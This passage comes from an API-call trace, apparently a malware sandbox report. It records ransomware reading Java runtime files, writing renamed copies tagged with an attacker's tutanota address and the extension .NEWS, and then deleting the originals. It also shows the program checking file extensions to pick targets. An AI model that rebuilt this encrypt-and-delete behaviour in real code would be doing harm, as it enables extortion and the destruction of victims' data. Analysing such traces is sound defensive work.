Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.046] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0091.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.046] lstrlenW (lpString=".doc") returned 4 [0091.046] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.046] lstrlenW (lpString=".docx") returned 5 [0091.046] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0091.046] lstrlenW (lpString=".pdf") returned 4 [0091.046] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.046] lstrlenW (lpString=".xls") returned 4 [0091.046] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.046] lstrlenW (lpString=".xlsx") returned 5 [0091.046] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0091.046] lstrlenW (lpString=".ppt") returned 4 [0091.046] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.046] lstrlenW (lpString=".zip") returned 4 [0091.046] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.046] lstrlenW (lpString=".rar") returned 4 [0091.046] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.046] lstrlenW (lpString=".bz2") returned 4 [0091.046] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.046] lstrlenW (lpString=".7z") returned 3 [0091.046] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.046] lstrlenW (lpString=".dbf") returned 4 [0091.046] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.047] lstrlenW (lpString=".1cd") returned 4 [0091.047] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.047] lstrlenW (lpString=".jpg") returned 4 [0091.047] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.047] lstrlenW (lpString=".doc") returned 4 [0091.047] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0091.047] lstrlenW (lpString=".docx") returned 5 [0091.047] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0091.047] lstrlenW (lpString=".pdf") returned 4 [0091.047] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0091.047] lstrlenW (lpString=".xls") returned 4 [0091.047] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0091.047] lstrlenW (lpString=".xlsx") returned 5 [0091.047] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0091.047] lstrlenW (lpString=".ppt") returned 4 [0091.047] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0091.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.047] lstrlenW (lpString=".zip") returned 4 [0091.047] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0091.047] lstrlenW (lpString=".rar") returned 4 [0091.047] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0091.047] lstrlenW (lpString=".bz2") returned 4 [0091.047] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0091.047] lstrlenW (lpString=".7z") returned 3 [0091.047] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0091.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.047] lstrlenW (lpString=".dbf") returned 4 [0091.047] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0091.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.047] lstrlenW (lpString=".1cd") returned 4 [0091.047] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0091.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0091.048] lstrlenW (lpString=".jpg") returned 4 [0091.048] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0091.048] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.048] lstrlenW (lpString="java_crw_demo.dll") returned 17 [0091.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.048] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=29760) returned 1 [0091.048] CloseHandle (hObject=0x338) returned 1 [0091.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0091.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.049] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.049] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.049] GetLastError () returned 0x0 [0091.049] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x7440, lpOverlapped=0x0) returned 1 [0091.051] WriteFile (in: hFile=0x364, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x7450, lpOverlapped=0x0) returned 1 [0091.052] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.052] WriteFile (in: hFile=0x364, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0091.052] SetEndOfFile (hFile=0x364) returned 1 [0091.053] CloseHandle (hObject=0x364) returned 1 [0091.053] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.053] SetEndOfFile (hFile=0x338) returned 1 [0091.054] CloseHandle (hObject=0x338) returned 1 [0091.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.054] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1 [0091.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.054] lstrlenW (lpString=".doc") returned 4 [0091.054] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.054] lstrlenW (lpString=".docx") returned 5 [0091.054] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0091.054] lstrlenW (lpString=".pdf") returned 4 [0091.054] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.054] lstrlenW (lpString=".xls") returned 4 [0091.054] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.054] lstrlenW (lpString=".xlsx") returned 5 [0091.054] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0091.054] lstrlenW (lpString=".ppt") returned 4 [0091.055] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.055] lstrlenW (lpString=".zip") returned 4 [0091.055] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString=".rar") returned 4 [0091.055] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString=".bz2") returned 4 [0091.055] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.055] lstrlenW (lpString=".7z") returned 3 [0091.055] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.055] lstrlenW (lpString=".dbf") returned 4 [0091.055] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.055] lstrlenW (lpString=".1cd") returned 4 [0091.055] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.055] lstrlenW (lpString=".jpg") returned 4 [0091.055] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.055] lstrlenW (lpString=".doc") returned 4 [0091.055] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString=".docx") returned 5 [0091.055] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0091.055] lstrlenW (lpString=".pdf") returned 4 [0091.055] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString=".xls") returned 4 [0091.055] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString=".xlsx") returned 5 [0091.055] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0091.055] lstrlenW (lpString=".ppt") returned 4 [0091.055] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.055] lstrlenW (lpString=".zip") returned 4 [0091.055] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.056] lstrlenW (lpString=".rar") returned 4 [0091.056] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.056] lstrlenW (lpString=".bz2") returned 4 [0091.056] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.056] lstrlenW (lpString=".7z") returned 3 [0091.056] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.056] lstrlenW (lpString=".dbf") returned 4 [0091.056] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.056] lstrlenW (lpString=".1cd") returned 4 [0091.056] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0091.056] lstrlenW (lpString=".jpg") returned 4 [0091.056] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.056] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.056] lstrlenW (lpString="jawt.dll") returned 8 [0091.056] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0091.102] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=14400) returned 1 [0091.102] CloseHandle (hObject=0x390) returned 1 [0091.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0091.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0091.102] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.102] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.103] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.103] GetLastError () returned 0x0 [0091.103] ReadFile (in: hFile=0x390, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x3840, lpOverlapped=0x0) returned 1 [0091.105] WriteFile (in: hFile=0x338, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3850, lpOverlapped=0x0) returned 1 [0091.106] ReadFile (in: hFile=0x390, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.106] WriteFile (in: hFile=0x338, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0091.106] SetEndOfFile (hFile=0x338) returned 1 [0091.107] CloseHandle (hObject=0x338) returned 1 [0091.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.107] SetEndOfFile (hFile=0x390) returned 1 [0091.107] CloseHandle (hObject=0x390) returned 1 [0091.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.108] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1 [0091.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.108] lstrlenW (lpString=".doc") returned 4 [0091.108] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.108] lstrlenW (lpString=".docx") returned 5 [0091.108] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0091.108] lstrlenW (lpString=".pdf") returned 4 [0091.108] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.108] lstrlenW (lpString=".xls") returned 4 [0091.108] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.108] lstrlenW (lpString=".xlsx") returned 5 [0091.108] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0091.108] lstrlenW (lpString=".ppt") returned 4 [0091.108] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.108] lstrlenW (lpString=".zip") returned 4 [0091.108] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.108] lstrlenW (lpString=".rar") returned 4 [0091.108] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.108] lstrlenW (lpString=".bz2") returned 4 [0091.108] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.108] lstrlenW (lpString=".7z") returned 3 [0091.108] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.109] lstrlenW (lpString=".dbf") returned 4 [0091.109] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.109] lstrlenW (lpString=".1cd") returned 4 [0091.109] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.109] lstrlenW (lpString=".jpg") returned 4 [0091.109] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.109] lstrlenW (lpString=".doc") returned 4 [0091.109] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.109] lstrlenW (lpString=".docx") returned 5 [0091.109] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0091.109] lstrlenW (lpString=".pdf") returned 4 [0091.109] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.109] lstrlenW (lpString=".xls") returned 4 [0091.109] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.109] lstrlenW (lpString=".xlsx") returned 5 [0091.109] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0091.109] lstrlenW (lpString=".ppt") returned 4 [0091.109] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.109] lstrlenW (lpString=".zip") returned 4 [0091.109] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.109] lstrlenW (lpString=".rar") returned 4 [0091.109] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.109] lstrlenW (lpString=".bz2") returned 4 [0091.109] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.109] lstrlenW (lpString=".7z") returned 3 [0091.109] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.109] lstrlenW (lpString=".dbf") returned 4 [0091.109] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.110] lstrlenW (lpString=".1cd") returned 4 [0091.110] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0091.110] lstrlenW (lpString=".jpg") returned 4 [0091.110] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.110] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.110] lstrlenW (lpString="jfxmedia.dll") returned 12 [0091.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0091.110] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=139840) returned 1 [0091.110] CloseHandle (hObject=0x390) returned 1 [0091.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0091.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0091.110] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.110] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.111] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.111] GetLastError () returned 0x0 [0091.111] ReadFile (in: hFile=0x390, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x22240, lpOverlapped=0x0) returned 1 [0091.114] WriteFile (in: hFile=0x338, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x22250, lpOverlapped=0x0) returned 1 [0091.117] ReadFile (in: hFile=0x390, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.117] WriteFile (in: hFile=0x338, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.117] SetEndOfFile (hFile=0x338) returned 1 [0091.117] CloseHandle (hObject=0x338) returned 1 [0091.117] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.117] SetEndOfFile (hFile=0x390) returned 1 [0091.119] CloseHandle (hObject=0x390) returned 1 [0091.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.119] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1 [0091.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.119] lstrlenW (lpString=".doc") returned 4 [0091.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.119] lstrlenW (lpString=".docx") returned 5 [0091.119] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0091.119] lstrlenW (lpString=".pdf") returned 4 [0091.119] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.119] lstrlenW (lpString=".xls") returned 4 [0091.119] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.119] lstrlenW (lpString=".xlsx") returned 5 [0091.119] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0091.119] lstrlenW (lpString=".ppt") returned 4 [0091.119] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0091.120] lstrlenW (lpString=".zip") returned 4 [0091.120] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.120] lstrlenW (lpString=".rar") returned 4 [0091.120] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.120] lstrlenW (lpString=".bz2") returned 